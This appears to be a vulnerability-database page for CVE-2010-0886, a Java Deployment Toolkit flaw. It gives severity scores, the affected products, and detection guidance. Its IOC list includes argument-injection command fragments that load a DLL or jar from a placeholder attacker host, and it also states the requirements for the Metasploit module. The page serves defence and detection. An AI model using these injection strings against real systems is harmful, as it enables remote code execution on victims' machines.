cbcvebase.
CVE-2010-0886
published 2010-04-20

CVE-2010-0886: Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE and Java for Business JDK and JRE 6 Update 10 through 19 allows remote…

PriorityP182critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
69.95%
99.4th percentile
Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE and Java for Business JDK and JRE 6 Update 10 through 19 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors.

Affected

7 ranges
VendorProductVersion rangeFixed in
sunjdk——
sunjre——
vmwareesxi——
vmwarevmware_tools——
vmwarevmware_vcenter_server——
vmwarevmware_vsphere——
vmwarevmware_workstation——

Detection & IOCsextracted from sources · hover to see the quote

otherCAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA↗
other8AD9C840-044E-11D1-B3E9-00805F499D93↗
otherapplication/npruntime-scriptable-plugin;deploymenttoolkit↗
otherapplication/java-deployment-toolkit↗
command-J-XXaltjvm=\\<attacker_host>\<share> -Xnosplash↗
command-J-jar -J\\attacker.controlled\exploit.jar none↗
filenamenpjp2.dll↗
filenamejp2iexp.dll↗
filenamenpdeploytk.dll↗
filenamejavaws.exe↗
registryHKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile\Shell\Open\Command↗
urlhttp://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html↗
  • →Detect exploit delivery via OBJECT tag with Java Deployment Toolkit CLSID or MIME type invoking .launch() with argument-injected URLs containing -J, -XXaltjvm, or -jar flags ↗
  • →Monitor for javaws.exe process launches with command-line arguments containing -J-XXaltjvm= pointing to UNC paths (\\<IP>\<share>), indicating attempted DLL hijack via WebDAV ↗
  • →Detect WebDAV PROPFIND requests for .dll files served over HTTP port 80 from a browser context, which is the mechanism used to deliver the malicious jvm.dll payload ↗
  • →Alert on User-Agent strings matching MiniRedir/(5|6).(0|1|2) in HTTP logs on port 80, indicating the Windows WebDAV Mini-Redirector fetching a payload DLL ↗
  • →Check for the presence of npdeploytk.dll loaded in browser processes; its existence and execution path can confirm exposure to this vulnerability ↗
  • →Inspect HTML pages for OBJECT elements using MIME type 'application/npruntime-scriptable-plugin;deploymenttoolkit' or 'application/java-deployment-toolkit' calling .launch() with URL parameters containing whitespace-separated JVM flags ↗
  • ·The Metasploit module requires SRVPORT=80 and URIPATH=/ to function; the WebDAV delivery mechanism will not work on non-standard ports ↗
  • ·The exploit requires the target host to have the WebClient service (WebDAV Mini-Redirector) enabled; without it the UNC-path DLL loading step will fail ↗
  • ·Disabling the Java browser plugin alone is insufficient mitigation because the Java Deployment Toolkit is installed independently of the plugin ↗
  • ·macOS is not affected by this vulnerability; only Windows (and Linux via libnpjp2.so) are vulnerable ↗
  • ·The registered MIME type for the deployment toolkit changed over time between 'application/npruntime-scriptable-plugin;deploymenttoolkit' and 'application/java-deployment-toolkit'; detections should cover both ↗

CVSS provenance

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck10.0CRITICAL
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.